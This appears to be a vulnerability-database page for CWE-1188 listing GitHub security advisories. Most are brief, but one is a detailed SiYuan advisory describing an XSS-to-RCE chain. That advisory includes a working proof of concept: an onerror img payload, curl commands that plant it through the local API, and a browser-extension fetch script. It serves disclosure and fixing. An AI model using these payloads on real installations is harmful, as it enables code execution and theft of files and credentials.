CWE-1188
AllowedInitialization of a Resource with an Insecure Default
Abstraction: Base · Status: Incomplete
The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.
482 vulnerabilities reference this CWE, most recent first.
GHSA-225Q-FGFG-49QP
Vulnerability from github – Published: 2025-04-08 12:30 – Updated: 2025-04-08 12:30Dell Common Event Enabler, version(s) CEE 9.0.0.0, contain(s) an Initialization of a Resource with an Insecure Default vulnerability in the Common Anti-Virus Agent (CAVA). An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.
{
"affected": [],
"aliases": [
"CVE-2025-29985"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-08T11:15:42Z",
"severity": "MODERATE"
},
"details": "Dell Common Event Enabler, version(s) CEE 9.0.0.0, contain(s) an Initialization of a Resource with an Insecure Default vulnerability in the Common Anti-Virus Agent (CAVA). An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.",
"id": "GHSA-225q-fgfg-49qp",
"modified": "2025-04-08T12:30:34Z",
"published": "2025-04-08T12:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29985"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000303931/dsa-2025-158-security-update-for-dell-common-event-enabler-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-25JF-QR89-V245
Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31Argo CD Helm Chart before 10.0.0 fails to install network policies by default, allowing any pod on a cluster to access repo-server and other Argo APIs. Attackers can exploit this unrestricted network access through combined attacks to achieve cluster compromise and remote code execution.
{
"affected": [],
"aliases": [
"CVE-2026-62185"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-13T22:16:49Z",
"severity": "HIGH"
},
"details": "Argo CD Helm Chart before 10.0.0 fails to install network policies by default, allowing any pod on a cluster to access repo-server and other Argo APIs. Attackers can exploit this unrestricted network access through combined attacks to achieve cluster compromise and remote code execution.",
"id": "GHSA-25jf-qr89-v245",
"modified": "2026-07-14T00:31:03Z",
"published": "2026-07-14T00:31:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-helm/security/advisories/GHSA-47m3-95c7-g2g8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62185"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/argo-cd-helm-chart-missing-network-policy-rce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-25M3-W28P-V3V3
Vulnerability from github – Published: 2025-09-16 00:30 – Updated: 2025-09-16 19:15In Liferay Portal 7.1.0 through 7.4.3.111, and Liferay DXP 2023.Q4.0, 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions, the default membership type of a newly created site is “Open” which allows any registered users to become a member of the site. A remote attacker with site membership can potentially view, add or edit content on the site.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.liferay:com.liferay.site.admin.web"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.111"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-43797"
],
"database_specific": {
"cwe_ids": [
"CWE-1188"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-16T19:15:45Z",
"nvd_published_at": "2025-09-15T22:15:33Z",
"severity": "MODERATE"
},
"details": "In Liferay Portal 7.1.0 through 7.4.3.111, and Liferay DXP 2023.Q4.0, 2023.Q3.1 through 2023.Q3.4, 7.4 GA through update 92, 7.3 GA through update 35, and older unsupported versions, the default membership type of a newly created site is \u201cOpen\u201d which allows any registered users to become a member of the site. A remote attacker with site membership can potentially view, add or edit content on the site.",
"id": "GHSA-25m3-w28p-v3v3",
"modified": "2025-09-16T19:15:45Z",
"published": "2025-09-16T00:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43797"
},
{
"type": "PACKAGE",
"url": "https://github.com/liferay/liferay-portal"
},
{
"type": "WEB",
"url": "https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/CVE-2025-43797"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Liferay has Insecure Default Initialization of Resource issue"
}
GHSA-25RP-H46X-2HJM
Vulnerability from github – Published: 2026-05-08 19:08 – Updated: 2026-06-08 20:11Summary
The tooltip mouseover handler in app/src/block/popover.ts reads aria-label via getAttribute and passes it through decodeURIComponent before assigning to messageElement.innerHTML in app/src/dialog/tooltip.ts:41. The encoder used at the producer side, escapeAriaLabel in app/src/util/escape.ts:19-25, only handles HTML special characters (", ', <, literal <) — it leaves %XX URL-escapes untouched. So a doc title containing %3Cimg src=x onerror=...%3E round-trips through escapeAriaLabel and the HTML attribute layer unmodified. Then decodeURIComponent on the consumer side converts %3C to a literal < character (a real <, NOT a character reference). When that string is assigned to innerHTML, the HTML5 tokenizer enters TagOpenState on the literal <, parses the <img> element, and the onerror handler fires.
Because the renderer runs with nodeIntegration: true, contextIsolation: false, webSecurity: false (app/electron/main.js:407-411), require('child_process') is reachable from the injected handler, escalating to arbitrary code execution.
Doc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they're rendered into class="ariaLabel" elements with aria-label="${escapeAriaLabel(...)}". Doc title is the easiest plant — any user with create/rename access lands the payload, and the file survives .sy.zip round-trip without modification.
Why a "double HTML-decode" framing is wrong
A naïve reading of the chain might suggest that &lt; (the encoder output) decodes once at attribute-parse time to <, then a second time at innerHTML time to < — yielding a tag. That's incorrect and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the < resulting from a < reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.
The actual bypass relies on decodeURIComponent producing a literal < (not a character reference) before innerHTML parses it. Literal < characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores %XX while the consumer chain decodes it.
Details
Encoder. app/src/util/escape.ts:19-25:
export const escapeAriaLabel = (html: string) => {
if (!html) { return html; }
return html.replace(/"/g, """).replace(/'/g, "'")
.replace(/</g, "&lt;").replace(/</g, "&lt;");
};
The four replacements only cover HTML special chars. %XX URL escapes are not touched.
Source — search-result rendering. app/src/search/util.ts:1406:
<span class="b3-list-item__text ariaLabel" ... aria-label="${escapeAriaLabel(title)}">${escapeGreat(title)}</span>
Same pattern at :1448, protyle/render/av/blockAttr.ts:205, protyle/render/av/col.ts:134, protyle/render/av/select.ts:36, search/unRef.ts:113. The title is built from getNotebookName(item.box) + getDisplayName(item.hPath, false) (line 1398). The hPath returned by /api/search/fullTextSearchBlock carries the user-set doc title verbatim — %XX URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.
Consumer. app/src/block/popover.ts:33,144:
let tip = aElement.getAttribute("aria-label") || ""; // literal stored attribute value
// ... branch logic that doesn't apply to plain search results ...
showTooltip(decodeURIComponent(tip), aElement, ...); // ← decodes %XX into raw chars
decodeURIComponent is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it's applied unconditionally to every aria-label-sourced tip — that's what enables this bypass.
Sink. app/src/dialog/tooltip.ts:41:
messageElement.innerHTML = message; // ← HTML parser sees the now-decoded raw `<` and starts parsing tags
Decode-chain trace for in-memory title %3Cimg src=x onerror="alert('SiYuan')"%3E (URL-encoded < > ', literal "):
| step | result |
|---|---|
| in-memory title | %3Cimg src=x onerror="alert('SiYuan')"%3E |
escapeAriaLabel writes (only " and ' get encoded — neither appears here as raw chars when ' is %27) |
%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E |
HTML attribute set: aria-label="..." ; browser one-decodes named entities when storing |
in-DOM value = %3Cimg src=x onerror="alert(%27SiYuan%27)"%3E |
getAttribute("aria-label") |
%3Cimg src=x onerror="alert(%27SiYuan%27)"%3E (verbatim) |
decodeURIComponent(tip) |
<img src=x onerror="alert('SiYuan')"> (real < ' > chars) |
messageElement.innerHTML = … |
HTML parser tokenizes raw <img>, creates element, fails to load src=x, fires onerror → JS runs |
Renderer + reachability. Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): nodeIntegration:true, contextIsolation:false, webSecurity:false at app/electron/main.js:407-411; empty-AccessAuthCode local auto-admin at kernel/model/session.go:261-287; chrome-extension:// Origin allowlist at session.go:277.
Suggested fix
-
Primary —
app/src/dialog/tooltip.ts:41: replacets messageElement.innerHTML = message;withts messageElement.textContent = message;For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit{html: true}flag onshowTooltip(...)and route the message throughDOMPurify.sanitize(message)before assigning toinnerHTML. -
Drop
decodeURIComponentatpopover.ts:144for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it insidetry/catchwith a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML. -
Consolidate the four escape helpers in
app/src/util/escape.ts(escapeHtml,escapeAttr,escapeAriaLabel,escapeGreat) into oneLute.EscapeHTMLStr-equivalent that escapes&,<,>,",'. Context-specific encoders without compile-time enforcement keep producing bug-class variants. -
(Defense-in-depth) Switch the main BrowserWindow to
contextIsolation: truewith a preload bridge — caps every future renderer XSS at "DOM only," not RCE.
Reproduction (copy-paste-ready)
Tested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute py with python3 and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.
Prereqs
- Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases and launch once. Do not set an
AccessAuthCode(default). - Verify the kernel is up:
sh curl -s http://127.0.0.1:6806/api/system/version # → {"code":0,"msg":"","data":"3.6.5"} - Create at least one notebook (the file tree's "+" button) so
lsNotebooksreturns a usable id. Pin variables:sh API=http://127.0.0.1:6806 NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID"
Step A — Browser-only validation of the chain (no SiYuan needed)
This proves the bug class on its own. Save as decode-chain.html, open in any Chromium-based browser:
<!doctype html>
<html><body>
<h2 id="status">Click "Simulate" — if status turns red, the chain works.</h2>
<span id="src" class="ariaLabel"
aria-label="%3Cimg src=x onerror="document.getElementById('status').innerText='RESULT: payload fired — chain works'; document.getElementById('status').style.color='red';"%3E"
hidden></span>
<button onclick="
let tip = document.getElementById('src').getAttribute('aria-label');
console.log('after getAttribute:', JSON.stringify(tip));
try { tip = decodeURIComponent(tip); } catch(e){}
console.log('after decodeURIComponent:', JSON.stringify(tip));
document.getElementById('out').innerHTML = tip;
">Simulate SiYuan tooltip</button>
<div id="out" style="border:2px solid red; padding:1em; min-height:3em; margin-top:1em;"></div>
</body></html>
Click the button. The <h2 id="status"> flips to red with "RESULT: payload fired — chain works", and the <div id="out"> contains a fully-rendered <img> element (not text). Confirms the chain decodes URL-escapes between getAttribute and innerHTML, producing real tag-open characters.
Step B — Plant the payload in SiYuan
DOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \
-H 'Content-Type: application/json' \
-d "{\"notebook\":\"$NOTEBOOK_ID\",\"path\":\"/tooltip-xss-poc-$$\",\"markdown\":\"trigger me — open the search panel, type 'trigger', and hover this result\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"])')
echo "DOC: $DOC_ID"
curl -s -X POST $API/api/filetree/renameDocByID \
-H 'Content-Type: application/json' \
--data-binary @- <<EOF
{"id":"$DOC_ID","title":"%3Cimg src=x onerror=\"alert('SiYuan tooltip-XSS PoC')\"%3E"}
EOF
Verify the in-memory title round-trips:
curl -s -X POST $API/api/block/getDocInfo \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"]["ial"]["title"])'
# Expected:
# %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E
Step C — Trigger inside SiYuan
In the SiYuan desktop client:
1. Open the search panel (Ctrl+P / ⌘+P).
2. Type trigger.
3. The result list renders the doc with aria-label="${escapeAriaLabel(title)}". The DOM attribute now contains %3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E (URL-escapes survived; " came from escapeAriaLabel and was decoded by the attribute parser to ").
4. Hover the result row. popover.ts:33 reads the attribute, popover.ts:144 calls decodeURIComponent (decoding %3C/%27/%3E to literal </'/>), tooltip.ts:41 writes innerHTML — HTML parser creates a real <img> element, onerror fires.
5. alert('SiYuan tooltip-XSS PoC') pops.
Step D — .sy.zip reproducer for upstream review
For maintainers who want a single-click reproducer:
ZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" \
| python -c 'import sys,json; print(json.load(sys.stdin)["data"]["zip"])')
# The kernel re-encodes % in the URL, so it's simpler to grab from disk:
SRC=$(ls -1t "$HOME/SiYuanWorkspace/temp/export"/*.sy.zip | head -1)
cp "$SRC" "$HOME/Desktop/tooltip-xss-poc.sy.zip"
Maintainer reproduces by importing via right-click a notebook → Import → SiYuan .sy.zip → searching trigger → hovering the result. The Lute serialization stores the title in the .sy file with %XX preserved literally and " HTML-entity-encoded — the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the decodeURIComponent-based bypass.
Step E — Browser-extension attack vector (the realistic remote path)
A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Step B's curl chain via fetch() without any SiYuan UI interaction beyond keeping the kernel running:
(async () => {
const api = (path, body) => fetch('http://127.0.0.1:6806' + path, {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify(body)
}).then(r => r.json());
const nb = await api('/api/notebook/lsNotebooks', {});
const id = (await api('/api/filetree/createDocWithMd', {
notebook: nb.data.notebooks[0].id,
path: '/x' + Date.now(),
markdown: 'trigger'
})).data;
await api('/api/filetree/renameDocByID', {
id,
title: `%3Cimg src=x onerror="alert('SiYuan tooltip-XSS PoC')"%3E`
});
})();
A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.
Cleanup
DOC_ID=$(curl -s -X POST $API/api/filetree/searchDocs \
-H 'Content-Type: application/json' -d '{"k":"trigger me"}' \
| python -c 'import sys,json; r=json.load(sys.stdin)["data"]; print(r[0]["id"] if r else "")')
[ -n "$DOC_ID" ] && curl -s -X POST $API/api/filetree/removeDocByID \
-H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"
Impact
- RCE on the victim's desktop, triggered by hovering a search result (or any other
class="ariaLabel"element rendering attacker-controlled metadata). - Doc titles are the most commonly-shared field — recipients of
.sy.zip, Bazaar templates, and sync peers all import the malicious title automatically; the URL encoding survives every transport. - Same post-RCE consequences as Advisory 1: full filesystem read (incl.
~/.ssh/,~/.aws/credentials, workspaceconf/conf.json), persistence, cloud-account pivot. - Multiple alternative trigger surfaces beyond search results: AV column names + descriptions, AV select-cell options, file-tree tooltips — any element with
class="ariaLabel"andaria-label="${escapeAriaLabel(...)}"reaches the samepopover.ts → tooltip.tschain. - CVE-2026-34585 fix is incomplete. The encoder-side hardening assumed exactly one HTML decode between encoder and DOM. It did not account for
decodeURIComponentbeing applied to the consumer-side attribute value, which converts URL-escapes that the encoder ignored into literal<characters that initiate tag parsing. A consumer-side fix (textContent, orDOMPurify.sanitizeon the rich-text path; and removing the unconditionaldecodeURIComponent) is required.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260421031503-96dfe0bea474"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44588"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-1188",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T19:08:30Z",
"nvd_published_at": "2026-05-14T19:16:37Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe tooltip mouseover handler in `app/src/block/popover.ts` reads `aria-label` via `getAttribute` and passes it through `decodeURIComponent` before assigning to `messageElement.innerHTML` in `app/src/dialog/tooltip.ts:41`. The encoder used at the producer side, `escapeAriaLabel` in `app/src/util/escape.ts:19-25`, only handles HTML special characters (`\"`, `\u0027`, `\u003c`, literal `\u0026lt;`) \u2014 it leaves `%XX` URL-escapes untouched. So a doc title containing `%3Cimg src=x onerror=...%3E` round-trips through `escapeAriaLabel` and the HTML attribute layer unmodified. Then `decodeURIComponent` on the consumer side converts `%3C` to a literal `\u003c` character (a real `\u003c`, NOT a character reference). When that string is assigned to `innerHTML`, the HTML5 tokenizer enters TagOpenState on the literal `\u003c`, parses the `\u003cimg\u003e` element, and the `onerror` handler fires.\n\nBecause the renderer runs with `nodeIntegration: true, contextIsolation: false, webSecurity: false` (`app/electron/main.js:407-411`), `require(\u0027child_process\u0027)` is reachable from the injected handler, escalating to arbitrary code execution.\n\nDoc titles, AV column names + descriptions, AV select options, file-tree tooltips all reach this sink because they\u0027re rendered into `class=\"ariaLabel\"` elements with `aria-label=\"${escapeAriaLabel(...)}\"`. Doc title is the easiest plant \u2014 any user with create/rename access lands the payload, and the file survives `.sy.zip` round-trip without modification.\n\n## Why a \"double HTML-decode\" framing is wrong\n\nA na\u00efve reading of the chain might suggest that `\u0026amp;lt;` (the encoder output) decodes once at attribute-parse time to `\u0026lt;`, then a second time at `innerHTML` time to `\u003c` \u2014 yielding a tag. **That\u0027s incorrect** and confirmed false by direct browser testing. Per the HTML5 spec, character references in DataState produce CHARACTER tokens (text), not TagOpenState transitions: the `\u003c` resulting from a `\u0026lt;` reference is text data, never a tag-open delimiter. So the HTML-entity-only payload renders as visible literal text, not as a tag.\n\nThe actual bypass relies on `decodeURIComponent` producing a **literal** `\u003c` (not a character reference) before `innerHTML` parses it. Literal `\u003c` characters in the input stream DO trigger TagOpenState. URL encoding is the right vehicle because the encoder ignores `%XX` while the consumer chain decodes it.\n\n## Details\n\n**Encoder.** `app/src/util/escape.ts:19-25`:\n```ts\nexport const escapeAriaLabel = (html: string) =\u003e {\n if (!html) { return html; }\n return html.replace(/\"/g, \"\u0026quot;\").replace(/\u0027/g, \"\u0026apos;\")\n .replace(/\u003c/g, \"\u0026amp;lt;\").replace(/\u0026lt;/g, \"\u0026amp;lt;\");\n};\n```\nThe four replacements only cover HTML special chars. `%XX` URL escapes are not touched.\n\n**Source \u2014 search-result rendering.** `app/src/search/util.ts:1406`:\n```ts\n\u003cspan class=\"b3-list-item__text ariaLabel\" ... aria-label=\"${escapeAriaLabel(title)}\"\u003e${escapeGreat(title)}\u003c/span\u003e\n```\nSame pattern at `:1448`, `protyle/render/av/blockAttr.ts:205`, `protyle/render/av/col.ts:134`, `protyle/render/av/select.ts:36`, `search/unRef.ts:113`. The `title` is built from `getNotebookName(item.box) + getDisplayName(item.hPath, false)` (line 1398). The `hPath` returned by `/api/search/fullTextSearchBlock` carries the user-set doc title verbatim \u2014 `%XX` URL-escapes pass through, only HTML special chars are entity-encoded by the kernel.\n\n**Consumer.** `app/src/block/popover.ts:33,144`:\n```ts\nlet tip = aElement.getAttribute(\"aria-label\") || \"\"; // literal stored attribute value\n// ... branch logic that doesn\u0027t apply to plain search results ...\nshowTooltip(decodeURIComponent(tip), aElement, ...); // \u2190 decodes %XX into raw chars\n```\n`decodeURIComponent` is presumably present to handle URL-encoded asset paths in some hyperlink tooltips, but it\u0027s applied unconditionally to every aria-label-sourced tip \u2014 that\u0027s what enables this bypass.\n\n**Sink.** `app/src/dialog/tooltip.ts:41`:\n```ts\nmessageElement.innerHTML = message; // \u2190 HTML parser sees the now-decoded raw `\u003c` and starts parsing tags\n```\n\n**Decode-chain trace** for in-memory title `%3Cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"%3E` (URL-encoded `\u003c` `\u003e` `\u0027`, literal `\"`):\n\n| step | result |\n|------|--------|\n| in-memory title | `%3Cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"%3E` |\n| `escapeAriaLabel` writes (only `\"` and `\u0027` get encoded \u2014 neither appears here as raw chars when `\u0027` is `%27`) | `%3Cimg src=x onerror=\u0026quot;alert(%27SiYuan%27)\u0026quot;%3E` |\n| HTML attribute set: `aria-label=\"...\"` ; browser one-decodes named entities when storing | in-DOM value = `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` |\n| `getAttribute(\"aria-label\")` | `%3Cimg src=x onerror=\"alert(%27SiYuan%27)\"%3E` (verbatim) |\n| `decodeURIComponent(tip)` | **`\u003cimg src=x onerror=\"alert(\u0027SiYuan\u0027)\"\u003e`** (real `\u003c` `\u0027` `\u003e` chars) |\n| `messageElement.innerHTML = \u2026` | HTML parser tokenizes raw `\u003cimg\u003e`, creates element, fails to load `src=x`, fires `onerror` \u2192 JS runs |\n\n**Renderer + reachability.** Renderer posture and auto-admin gates same as the AV-name advisory (Advisory 1): `nodeIntegration:true, contextIsolation:false, webSecurity:false` at `app/electron/main.js:407-411`; empty-`AccessAuthCode` local auto-admin at `kernel/model/session.go:261-287`; `chrome-extension://` Origin allowlist at `session.go:277`.\n\n## Suggested fix\n\n1. **Primary \u2014 `app/src/dialog/tooltip.ts:41`**: replace\n ```ts\n messageElement.innerHTML = message;\n ```\n with\n ```ts\n messageElement.textContent = message;\n ```\n For tooltips that legitimately need markup (memo rendering, hyperlink preview cards), introduce an explicit `{html: true}` flag on `showTooltip(...)` and route the message through `DOMPurify.sanitize(message)` before assigning to `innerHTML`.\n\n2. **Drop `decodeURIComponent` at `popover.ts:144`** for the generic aria-label path. Apply it only on the few callers that intentionally pass URL-encoded asset paths (e.g. the local-asset hyperlink preview branch already inside the function), and apply it inside `try`/`catch` with a clear scope. Aria-label content is not URL-encoded by design; decoding it is a footgun that converts otherwise-safe attributes into pre-parsed HTML.\n\n3. **Consolidate the four escape helpers** in `app/src/util/escape.ts` (`escapeHtml`, `escapeAttr`, `escapeAriaLabel`, `escapeGreat`) into one `Lute.EscapeHTMLStr`-equivalent that escapes `\u0026`, `\u003c`, `\u003e`, `\"`, `\u0027`. Context-specific encoders without compile-time enforcement keep producing bug-class variants.\n\n4. **(Defense-in-depth)** Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge \u2014 caps every future renderer XSS at \"DOM only,\" not RCE.\n\n---\n\n## Reproduction (copy-paste-ready)\n\nTested on Windows with SiYuan v3.6.5 (kernel + Electron) and Microsoft Edge as the offline parser-validation engine. Linux/macOS users substitute `py` with `python3` and use any modern Chromium-based browser (Edge/Chrome/Brave) for the standalone validation step.\n\n### Prereqs\n\n1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases and launch once. **Do not set an `AccessAuthCode`** (default).\n2. Verify the kernel is up:\n ```sh\n curl -s http://127.0.0.1:6806/api/system/version\n # \u2192 {\"code\":0,\"msg\":\"\",\"data\":\"3.6.5\"}\n ```\n3. Create at least one notebook (the file tree\u0027s \"+\" button) so `lsNotebooks` returns a usable id. Pin variables:\n ```sh\n API=http://127.0.0.1:6806\n NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027 \\\n | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"notebooks\"][0][\"id\"])\u0027)\n echo \"Using notebook: $NOTEBOOK_ID\"\n ```\n\n### Step A \u2014 Browser-only validation of the chain (no SiYuan needed)\n\nThis proves the bug class on its own. Save as `decode-chain.html`, open in any Chromium-based browser:\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003ch2 id=\"status\"\u003eClick \"Simulate\" \u2014 if status turns red, the chain works.\u003c/h2\u003e\n\u003cspan id=\"src\" class=\"ariaLabel\"\n aria-label=\"%3Cimg src=x onerror=\u0026quot;document.getElementById(\u0027status\u0027).innerText=\u0027RESULT: payload fired \u2014 chain works\u0027; document.getElementById(\u0027status\u0027).style.color=\u0027red\u0027;\u0026quot;%3E\"\n hidden\u003e\u003c/span\u003e\n\u003cbutton onclick=\"\n let tip = document.getElementById(\u0027src\u0027).getAttribute(\u0027aria-label\u0027);\n console.log(\u0027after getAttribute:\u0027, JSON.stringify(tip));\n try { tip = decodeURIComponent(tip); } catch(e){}\n console.log(\u0027after decodeURIComponent:\u0027, JSON.stringify(tip));\n document.getElementById(\u0027out\u0027).innerHTML = tip;\n\"\u003eSimulate SiYuan tooltip\u003c/button\u003e\n\u003cdiv id=\"out\" style=\"border:2px solid red; padding:1em; min-height:3em; margin-top:1em;\"\u003e\u003c/div\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nClick the button. The `\u003ch2 id=\"status\"\u003e` flips to red with \"RESULT: payload fired \u2014 chain works\", and the `\u003cdiv id=\"out\"\u003e` contains a fully-rendered `\u003cimg\u003e` element (not text). Confirms the chain decodes URL-escapes between `getAttribute` and `innerHTML`, producing real tag-open characters.\n\n### Step B \u2014 Plant the payload in SiYuan\n\n```sh\nDOC_ID=$(curl -s -X POST $API/api/filetree/createDocWithMd \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"{\\\"notebook\\\":\\\"$NOTEBOOK_ID\\\",\\\"path\\\":\\\"/tooltip-xss-poc-$$\\\",\\\"markdown\\\":\\\"trigger me \u2014 open the search panel, type \u0027trigger\u0027, and hover this result\\\"}\" \\\n | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"])\u0027)\necho \"DOC: $DOC_ID\"\n\ncurl -s -X POST $API/api/filetree/renameDocByID \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data-binary @- \u003c\u003cEOF\n{\"id\":\"$DOC_ID\",\"title\":\"%3Cimg src=x onerror=\\\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\\\"%3E\"}\nEOF\n```\nVerify the in-memory title round-trips:\n```sh\ncurl -s -X POST $API/api/block/getDocInfo \\\n -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"ial\"][\"title\"])\u0027\n# Expected:\n# %3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E\n```\n\n### Step C \u2014 Trigger inside SiYuan\n\nIn the SiYuan desktop client:\n1. Open the search panel (`Ctrl+P` / `\u2318+P`).\n2. Type `trigger`.\n3. The result list renders the doc with `aria-label=\"${escapeAriaLabel(title)}\"`. The DOM attribute now contains `%3Cimg src=x onerror=\"alert(\u0027SiYuan tooltip-XSS PoC\u0027)\"%3E` (URL-escapes survived; `\u0026quot;` came from escapeAriaLabel and was decoded by the attribute parser to `\"`).\n4. **Hover the result row.** `popover.ts:33` reads the attribute, `popover.ts:144` calls `decodeURIComponent` (decoding `%3C`/`%27`/`%3E` to literal `\u003c`/`\u0027`/`\u003e`), `tooltip.ts:41` writes `innerHTML` \u2014 HTML parser creates a real `\u003cimg\u003e` element, `onerror` fires.\n5. **`alert(\u0027SiYuan tooltip-XSS PoC\u0027)` pops.**\n\n### Step D \u2014 `.sy.zip` reproducer for upstream review\n\nFor maintainers who want a single-click reproducer:\n```sh\nZIP_PATH=$(curl -s -X POST $API/api/export/exportSY \\\n -H \u0027Content-Type: application/json\u0027 -d \"{\\\"id\\\":\\\"$DOC_ID\\\"}\" \\\n | python -c \u0027import sys,json; print(json.load(sys.stdin)[\"data\"][\"zip\"])\u0027)\n# The kernel re-encodes % in the URL, so it\u0027s simpler to grab from disk:\nSRC=$(ls -1t \"$HOME/SiYuanWorkspace/temp/export\"/*.sy.zip | head -1)\ncp \"$SRC\" \"$HOME/Desktop/tooltip-xss-poc.sy.zip\"\n```\nMaintainer reproduces by importing via right-click a notebook \u2192 **Import** \u2192 **SiYuan `.sy.zip`** \u2192 searching `trigger` \u2192 hovering the result. The Lute serialization stores the title in the `.sy` file with `%XX` preserved literally and `\"` HTML-entity-encoded \u2014 the IAL parser decodes the entities on load, leaving the URL escapes intact, which then feeds the `decodeURIComponent`-based bypass.\n\n### Step E \u2014 Browser-extension attack vector (the realistic remote path)\n\nA malicious or compromised installed browser extension\u0027s content/background script runs with `chrome-extension://\u003cid\u003e` Origin, allowlisted by `session.go:277`. The extension can run Step B\u0027s curl chain via `fetch()` without any SiYuan UI interaction 